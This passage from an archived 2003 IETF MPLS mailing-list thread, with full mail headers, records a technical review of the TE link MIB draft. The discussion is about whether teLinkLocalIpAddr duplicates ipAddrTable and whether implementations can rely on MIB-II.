> [LSP-HIER] "LSP Hierarchy with Generalized MPLS TE"
> [BUNDLE] "Link Bundling in MPLS Traffic Engineering"
> [GMPLS-ROUTING] "Routing Extensions in Support of Generalized MPLS"
>
> as well as some portions of other documents such as [MPLS-TE-STD-MIB]
> and [GMPLS-ARCH].
>
> Even after all that, the address model was not really cleared up for
me.
> [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language related
> to the local and remote IP address.
>
> I'm back to my original question about:
> > it is unclear whether the IP addresses are those used for
> > encapsulation (i.e. like MAC addresses from the point of
> > view of the teLink interface), or those assigned to the inside.
> > I'm assuming the former, since the latter would definitely be
> redundant
> > with the inet address table like on any other interface.
>
> In the email below I had assumed the former.  After reading the
> documents above, I'm more inclined to believe it's the latter.
> Can someone confirm this?  Put another way:
>
> Q: If you look in the ipAddrTable for the corresponding entry for the
IP
> address in a teLinkLocalIpAddr object on a numbered TE link, what is
the
> value of ipAdEntIfIndex?  What is the relationship of that interface
to
> the TE link?
> (e.g. in the example on page 12, is it the ifIndex of the mpls
> interface,
> the teLink interface, or the opticalTransport interface?  Previously I
> had assumed the answer would be the opticalTransport interface, but
now
> I'm more inclined to believe it's one of the others in which case
> Thomas'
> summary of my misunderstanding below would be more or less accurate.
> In any case, none of the documents listed above give a clear answer to
> this question.)
>
> [Martin] You are right, it is the latter. The IP address is the IP
address
> of
> the teLink interface. It is redundant with ipAddrTable, but we would
like
> not
> to have to rely on the presence of ipAddrTable to get access to this
> information.

Martin, thanks much for the confirmation.  I'm curious about
your last statement though.  Are you concerned about implementing
this MIB on systems which do not implement MIB-II?

If you do need redundant objects for some reason, then it would
be good for the DESCRIPTION clause to mention that it is in fact
redundant, so implementers can ensure both objects have the same value.

-Dave



From owner-mpls@UU.NET  Thu Oct 23 10:24:02 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25243
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 10:24:02 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqv16767
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 14:24:09 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqv16286;
	Thu, 23 Oct 2003 14:23:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqu23075
	for mpls-outgoing; Thu, 23 Oct 2003 14:01:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplqu22312
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 14:00:56 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqt09520
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:40 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqt22944
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:40 GMT
Received: from sj-iport-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQplqt22932
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:39 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 23 Oct 2003 07:00:47 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDxZjP002089
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:59:35 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK06246;
	Thu, 23 Oct 2003 09:59:34 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDxYi26180 for mpls@uu.net; Thu, 23 Oct 2003 09:59:34 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplns25297
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 18:06:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplns13969
	for <mpls@uu.net>; Wed, 22 Oct 2003 18:01:44 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplns29413
	for <mpls@uu.net>; Wed, 22 Oct 2003 18:01:43 GMT
Received: from mail3.microsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail3.microsoft.com [131.107.3.123])
	id QQplns29398
	for <mpls@uu.net>; Wed, 22 Oct 2003 18:01:43 GMT
Received: from mail6.microsoft.com ([157.54.6.196]) by mail3.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 22 Oct 2003 11:01:42 -0700
Received: from inet-vrs-06.redmond.corp.microsoft.com ([157.54.6.181]) by mail6.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 22 Oct 2003 11:01:42 -0700
Received: from 157.54.8.23 by inet-vrs-06.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 22 Oct 2003 11:01:41 -0700
Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-hub-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 22 Oct 2003 11:01:41 -0700
Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 22 Oct 2003 11:01:38 -0700
Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 22 Oct 2003 11:01:40 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.5.7097.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 11:01:35 -0700
Message-ID: <C9588551DE135A41AA2626CB6453093704759D8E@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Thread-Topic: DT's review of draft-ietf-mpls-telink-mib-04.txt
thread-index: AcOYkE/pCe0CopU3TxWztiOLRcbrKgANV7Xg
From: "Dave Thaler" <dthaler@windows.microsoft.com>
To: "Martin Dubuc" <dubuc.consulting@rogers.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>, "Bert Wijnen" <bwijnen@lucent.com>,
        "Sudheer Dharanikota" <sudheer@ieee.org>,
        "Jonathan Lang" <jplang@ieee.org>, "Loa Andersson" <loa@pi.se>,
        "Mpls \(E-mail\)" <mpls@UU.NET>
X-OriginalArrivalTime: 22 Oct 2003 18:01:40.0374 (UTC) FILETIME=[8B40EB60:01C398C6]
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Great.  In that case why have redundant objects at all?

-Dave

> -----Original Message-----
> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> Sent: Wednesday, October 22, 2003 4:32 AM
> To: Dave Thaler
> Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan Lang;=20
> Loa Andersson; Mpls (E-mail)
> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
>=20
> Dave,
>=20
> The TE link MIB makes extensive use of the interface table. Our=20
> specification relies on this part of MIB-II.
>=20
> I will add text in the DESCIRPTION clause to emphasize the=20
> relationship between teLinkLocalIpAddr and ipAddrTable.
>=20
> Martin
>=20
> ----- Original Message -----
> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> To: "Martin Dubuc" <dubuc.consulting@rogers.com>
> Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen"=20
> <bwijnen@lucent.com>; "Sudheer Dharanikota" <sudheer@ieee.org>;=20
> "Jonathan Lang" <jplang@ieee.org>;
> "Loa Andersson" <loa@pi.se>
> Sent: Tuesday, October 21, 2003 4:12 PM
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>=20
>=20
> > -----Original Message-----
> > From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> [...]
> > ----- Original Message -----
> > From: "Dave Thaler" <dthaler@windows.microsoft.com>
> > To: <tnadeau@cisco.com>; "Martin Dubuc"=20
> > <dubuc.consulting@rogers.com>; "Wijnen, Bert (Bert)"=20
> > <bwijnen@lucent.com>; <sudheer@ieee.org>; <jplang@ieee.org>
> > Sent: Monday, October 06, 2003 10:11 PM
> > Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >
> >
> > Sorry for the delay, but I've been reading a bunch of relevant
> documents
> > so I can help resolve the issue.  Besides the mpls-telink-mib and=20
> > the tewg-mib, I've now read all of the following in entirety:
> >
> > [RFC2702] "Requirements for Traffic Engineering Over MPLS" [OSPF-TE]

> > "Traffic Engineering Extensions to OSPF Version 2" [LSP-HIER] "LSP=20
> > Hierarchy with Generalized MPLS TE" [BUNDLE] "Link Bundling in MPLS=20
> > Traffic Engineering" [GMPLS-ROUTING] "Routing Extensions in Support=20
> > of Generalized MPLS"
> >
> > as well as some portions of other documents such as=20
> > [MPLS-TE-STD-MIB] and [GMPLS-ARCH].
> >
> > Even after all that, the address model was not really cleared up for
> me.
> > [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language related to=20
> > the local and remote IP address.
> >
> > I'm back to my original question about:
> > > it is unclear whether the IP addresses are those used for=20
> > > encapsulation (i.e. like MAC addresses from the point of view of=20
> > > the teLink interface), or those assigned to the inside. I'm=20
> > > assuming the former, since the latter would definitely be
> > redundant
> > > with the inet address table like on any other interface.
> >
> > In the email below I had assumed the former.  After reading the=20
> > documents above, I'm more inclined to believe it's the latter. Can=20
> > someone confirm this?  Put another way:
> >
> > Q: If you look in the ipAddrTable for the corresponding entry for=20
> > the
> IP
> > address in a teLinkLocalIpAddr object on a numbered TE link, what is
> the
> > value of ipAdEntIfIndex?  What is the relationship of that interface
> to
> > the TE link?
> > (e.g. in the example on page 12, is it the ifIndex of the mpls=20
> > interface, the teLink interface, or the opticalTransport interface?

> > Previously I had assumed the answer would be the opticalTransport=20
> > interface, but
> now
> > I'm more inclined to believe it's one of the others in which case=20
> > Thomas' summary of my misunderstanding below would be more or less=20
> > accurate. In any case, none of the documents listed above give a=20
> > clear answer to this question.)
> >
> > [Martin] You are right, it is the latter. The IP address is the IP
> address
> > of
> > the teLink interface. It is redundant with ipAddrTable, but we would
> like
> > not
> > to have to rely on the presence of ipAddrTable to get access to this

> > information.
>=20
> Martin, thanks much for the confirmation.  I'm curious about your last

> statement though.  Are you concerned about implementing this MIB on=20
> systems which do not implement MIB-II?
>=20
> If you do need redundant objects for some reason, then it would be=20
> good for the DESCRIPTION clause to mention that it is in fact=20
> redundant, so implementers can ensure both objects have the same=20
> value.
>=20
> -Dave



From owner-mpls@UU.NET  Thu Oct 23 10:24:23 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25270
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 10:24:23 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqv03146
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 14:24:32 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqv02357;
	Thu, 23 Oct 2003 14:24:15 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqu23230
	for mpls-outgoing; Thu, 23 Oct 2003 14:01:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplqu22318
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 14:00:57 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqt09918
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:55 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqt19129
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:54 GMT
Received: from ams-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQplqt19119
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:53 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 23 Oct 2003 15:57:53 +0200
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDxmiw010930
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:59:49 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK06301;
	Thu, 23 Oct 2003 09:59:47 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDxkY26184 for mpls@uu.net; Thu, 23 Oct 2003 09:59:46 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQploj06772
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 22:28:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQploj25358
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:28:28 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQploj14220
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:28:28 GMT
Received: from mail2.microsoft.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail2.microsoft.com [131.107.3.124])
	id QQploj14207
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:28:27 GMT
Received: from mail6.microsoft.com ([157.54.6.196]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.1041);
	 Wed, 22 Oct 2003 15:28:27 -0700
Received: from inet-vrs-06.redmond.corp.microsoft.com ([157.54.6.181]) by mail6.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 22 Oct 2003 15:28:26 -0700
Received: from 157.54.5.25 by inet-vrs-06.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 22 Oct 2003 15:28:26 -0700
Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 22 Oct 2003 15:28:26 -0700
Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 22 Oct 2003 15:28:14 -0700
Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 22 Oct 2003 15:28:24 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.5.7097.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 15:28:23 -0700
Message-ID: <C9588551DE135A41AA2626CB64530937058FED19@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Thread-Topic: DT's review of draft-ietf-mpls-telink-mib-04.txt
thread-index: AcOY6wx8D9HWoPfnRnqqM8zUNTN6ywAAGaKA
From: "Dave Thaler" <dthaler@windows.microsoft.com>
To: <tnadeau@cisco.com>, "Martin Dubuc" <dubuc.consulting@rogers.com>
Cc: "Bert Wijnen" <bwijnen@lucent.com>,
        "Sudheer Dharanikota" <sudheer@ieee.org>,
        "Jonathan Lang" <jplang@ieee.org>, "Loa Andersson" <loa@pi.se>,
        "Mpls \(E-mail\)" <mpls@UU.NET>
X-OriginalArrivalTime: 22 Oct 2003 22:28:24.0611 (UTC) FILETIME=[CE85AF30:01C398EB]
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Going back to RFC1213...
   (5)  To avoid redundant variables, it was required that no
        object be included that can be derived from others in the
        MIB.
[...]
   MIB-II, like its predecessor, the Internet-standard MIB, contains
   only essential elements.  There is no need to allow individual
   objects to be optional.  Rather, the objects are arranged into the
   following groups:
      - System
      - Interfaces
      - Address Translation (deprecated)
      - IP
      - ICMP
      - TCP
      - UDP
      - EGP
      - Transmission
      - SNMP

   These groups are the basic unit of conformance: This method is as
   follows: if the semantics of a group is applicable to an
   implementation, then it must implement all objects in that group.
   For example, an implementation must implement the EGP group if and
   only if it implements the EGP.


It sounds like you're saying you are interested in a scenario where
a device has IP addresses but is not compliant with RFC 1213
which requires that it implement both the ipAddrTable and the ifTable.
Is that correct?

-Dave

> -----Original Message-----
> From: Thomas D. Nadeau [mailto:tnadeau@cisco.com]
> Sent: Wednesday, October 22, 2003 3:23 PM
> To: Dave Thaler; 'Martin Dubuc'
> Cc: 'Bert Wijnen'; 'Sudheer Dharanikota'; 'Jonathan Lang'; 'Loa
> Andersson'; 'Mpls (E-mail)'
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>=20
>=20
> 	Because it is possible that the others are not
> implemented.  Because of the minimal duplication,
> this seems reasonable.
>=20
> 	--Tom
>=20
>=20
> >-----Original Message-----
> >From: Dave Thaler [mailto:dthaler@windows.microsoft.com]
> >Sent: Wednesday, October 22, 2003 2:02 PM
> >To: Martin Dubuc
> >Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan
> >Lang; Loa Andersson; Mpls (E-mail)
> >Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >
> >
> >Great.  In that case why have redundant objects at all?
> >
> >-Dave
> >
> >> -----Original Message-----
> >> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> >> Sent: Wednesday, October 22, 2003 4:32 AM
> >> To: Dave Thaler
> >> Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan Lang;
> >> Loa Andersson; Mpls (E-mail)
> >> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >>
> >> Dave,
> >>
> >> The TE link MIB makes extensive use of the interface table. Our
> >> specification relies on this part of MIB-II.
> >>
> >> I will add text in the DESCIRPTION clause to emphasize the
> >> relationship between teLinkLocalIpAddr and ipAddrTable.
> >>
> >> Martin
> >>
> >> ----- Original Message -----
> >> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> >> To: "Martin Dubuc" <dubuc.consulting@rogers.com>
> >> Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen"
> >> <bwijnen@lucent.com>; "Sudheer Dharanikota" <sudheer@ieee.org>;
> >> "Jonathan Lang" <jplang@ieee.org>;
> >> "Loa Andersson" <loa@pi.se>
> >> Sent: Tuesday, October 21, 2003 4:12 PM
> >> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >>
> >>
> >> > -----Original Message-----
> >> > From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
> >> [...]
> >> > ----- Original Message -----
> >> > From: "Dave Thaler" <dthaler@windows.microsoft.com>
> >> > To: <tnadeau@cisco.com>; "Martin Dubuc"
> >> > <dubuc.consulting@rogers.com>; "Wijnen, Bert (Bert)"
> >> > <bwijnen@lucent.com>; <sudheer@ieee.org>; <jplang@ieee.org>
> >> > Sent: Monday, October 06, 2003 10:11 PM
> >> > Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
> >> >
> >> >
> >> > Sorry for the delay, but I've been reading a bunch of relevant
> >> documents
> >> > so I can help resolve the issue.  Besides the mpls-telink-mib and
> >> > the tewg-mib, I've now read all of the following in entirety:
> >> >
> >> > [RFC2702] "Requirements for Traffic Engineering Over MPLS"
> >[OSPF-TE]
> >
> >> > "Traffic Engineering Extensions to OSPF Version 2" [LSP-HIER]
"LSP
> >> > Hierarchy with Generalized MPLS TE" [BUNDLE] "Link
> >Bundling in MPLS
> >> > Traffic Engineering" [GMPLS-ROUTING] "Routing Extensions
> >in Support
> >> > of Generalized MPLS"
> >> >
> >> > as well as some portions of other documents such as
> >> > [MPLS-TE-STD-MIB] and [GMPLS-ARCH].
> >> >
> >> > Even after all that, the address model was not really
> >cleared up for
> >> me.
> >> > [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language
> >related to
> >> > the local and remote IP address.
> >> >
> >> > I'm back to my original question about:
> >> > > it is unclear whether the IP addresses are those used for
> >> > > encapsulation (i.e. like MAC addresses from the point of view
of
> >> > > the teLink interface), or those assigned to the inside. I'm
> >> > > assuming the former, since the latter would definitely be
> >> > redundant
> >> > > with the inet address table like on any other interface.
> >> >
> >> > In the email below I had assumed the former.  After reading the
> >> > documents above, I'm more inclined to believe it's the latter.
Can
> >> > someone confirm this?  Put another way:
> >> >
> >> > Q: If you look in the ipAddrTable for the corresponding entry for
> >> > the
> >> IP
> >> > address in a teLinkLocalIpAddr object on a numbered TE
> >link, what is
> >> the
> >> > value of ipAdEntIfIndex?  What is the relationship of that
> >interface
> >> to
> >> > the TE link?
> >> > (e.g. in the example on page 12, is it the ifIndex of the mpls
> >> > interface, the teLink interface, or the opticalTransport
interface?
> >
> >> > Previously I had assumed the answer would be the opticalTransport
> >> > interface, but
> >> now
> >> > I'm more inclined to believe it's one of the others in which case
> >> > Thomas' summary of my misunderstanding below would be more or
less
> >> > accurate. In any case, none of the documents listed above give a
> >> > clear answer to this question.)
> >> >
> >> > [Martin] You are right, it is the latter. The IP address is the
IP
> >> address
> >> > of
> >> > the teLink interface. It is redundant with ipAddrTable,
> >but we would
> >> like
> >> > not
> >> > to have to rely on the presence of ipAddrTable to get
> >access to this
> >
> >> > information.
> >>
> >> Martin, thanks much for the confirmation.  I'm curious about
> >your last
> >
> >> statement though.  Are you concerned about implementing this MIB on
> >> systems which do not implement MIB-II?
> >>
> >> If you do need redundant objects for some reason, then it would be
> >> good for the DESCRIPTION clause to mention that it is in fact
> >> redundant, so implementers can ensure both objects have the same
> >> value.
> >>
> >> -Dave
> >



From owner-mpls@UU.NET  Thu Oct 23 10:24:28 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA25288
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 10:24:28 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqv18058
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 14:24:36 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqv17656;
	Thu, 23 Oct 2003 14:24:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqu22122
	for mpls-outgoing; Thu, 23 Oct 2003 14:00:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQplqu21868
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 14:00:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqu13517
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:00:00 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqu19202
	for <mpls@uu.net>; Thu, 23 Oct 2003 14:00:00 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQplqt19192
	for <mpls@uu.net>; Thu, 23 Oct 2003 13:59:59 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9NDxtjP002459
	for <mpls@uu.net>; Thu, 23 Oct 2003 06:59:56 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADK06324;
	Thu, 23 Oct 2003 09:59:55 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NDxsj26188 for mpls@uu.net; Thu, 23 Oct 2003 09:59:54 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplon01966
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 23:25:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplon14067
	for <mpls@uu.net>; Wed, 22 Oct 2003 23:24:12 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplon28262
	for <mpls@uu.net>; Wed, 22 Oct 2003 23:24:11 GMT
Received: from web01-imail.rogers.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: web01-imail.bloor.is.net.cable.rogers.com [66.185.86.75])
	id QQplon28247
	for <mpls@uu.net>; Wed, 22 Oct 2003 23:24:11 GMT
Received: from dune ([24.103.66.219]) by web01-imail.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20031022222454.KRDY69569.web01-imail.rogers.com@dune>;
          Wed, 22 Oct 2003 18:24:54 -0400
Message-ID: <000d01c398eb$404e0fa0$2202a8c0@flfrd.phub.net.cable.rogers.com>
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Dave Thaler" <dthaler@windows.microsoft.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>, "Bert Wijnen" <bwijnen@lucent.com>,
        "Sudheer Dharanikota" <sudheer@ieee.org>,
        "Jonathan Lang" <jplang@ieee.org>, "Loa Andersson" <loa@pi.se>,
        "Mpls \(E-mail\)" <mpls@UU.NET>
References: <C9588551DE135A41AA2626CB6453093704759D8E@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 18:24:25 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4922.1500
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4925.2800
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at web01-imail.rogers.com from [24.103.66.219] using ID <dubuc.consulting@rogers.com> at Wed, 22 Oct 2003 18:24:54 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

To avoid the need to support ipAddrTable to implement TE link MIB.

Martin

----- Original Message -----
From: "Dave Thaler" <dthaler@windows.microsoft.com>
To: "Martin Dubuc" <dubuc.consulting@rogers.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen" <bwijnen@lucent.com>;
